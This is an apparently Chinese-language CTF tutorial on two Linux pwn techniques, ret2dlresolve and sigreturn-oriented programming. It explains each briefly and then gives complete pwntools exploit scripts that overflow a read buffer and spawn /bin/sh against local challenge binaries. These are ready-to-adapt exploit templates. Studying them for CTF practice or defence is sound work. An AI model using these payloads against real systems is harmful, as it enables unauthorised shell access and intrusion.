ret2dlresolve
在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset)
来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。
例题
ret2dlresolve平常不经常见,这里也简单简绍一下如何用工具来直接梭哈
首先,32位的 标志特别突出,只有read函数能栈溢出
exp:
from pwn import *
p=process("./pwn32")
elf = context.binary = ELF('./pwn32')
#p = remote("pwn.node.game.sycsec.com",11111)
rop = ROP(elf)# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A' * (0x48+4))
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()
不用去深究,会套脚本就可以,溢出字节以及文件名更换其他直接套
64位的也一样,只有read函数
exp:
from pwn import *
p=process("./pwn64")
elf = context.binary = ELF('./pwn64')
#p = remote("pwn.node.game.sycsec.com",11111)
rop = ROP(elf)# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A' * (0x30+8))
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()
直接梭哈
ret2srop
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。这个可以自行去了解
主要是2,这个过程会rt_sigreturn函数进行还原,而且是根据栈中内容去还原,之后我们可以利用工具去伪造我们想要rop链
利用rt_sigreturn
恢复ucontext_t
的机制,我们可以构造一个假的ucontext_t
,这样我们就能控制所有的寄存器。
对了结构体的构建,pwntools
里面已经有现成的库函数:pwnlib.rop.srop — Sigreturn Oriented Programming — pwntools 4.11.1 documentation 。
frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = 0 frame.rdx = 0
例题
没有一个函数,也不是我们经常利用的read,write函数,这里只有一次发送机会,但我们要发送两次,第一次先将返回地址再改成vuln函数,第二次发送我们的rop链
当出syscall时也讲过寄存器的利用,要想调用system需要满足:
rax=0x3b(系统调用号)
rdi=/bin/sh
rsi=0x0
rdx=0x0
调用sigreturn需满足
rax=0xf
ret=syscall
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
gdb.attach(p)
pause()
vuln=0x4004ED
syscall=0x400517
rax=0x4004DA
pay=b'a'*(0x10)+p64(vuln)
bug()
p.send(pay)
stack=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(stack))
frame=SigreturnFrame()
frame.rax=constants.SYS_execve###系统调用号,可改为0x3b
frame.rdi=stack-328##/bin/sh地址
frame.rsi=0
frame.rdx=0
#frame.rsp=stack-328
frame.rip=syscall
pay=b'/bin/sh\x00'*2+p64(rax)+p64(syscall)+bytes(frame)#调用sigreturn并附带rop链
pause()
p.send(pay)
p.interactive()
打通本地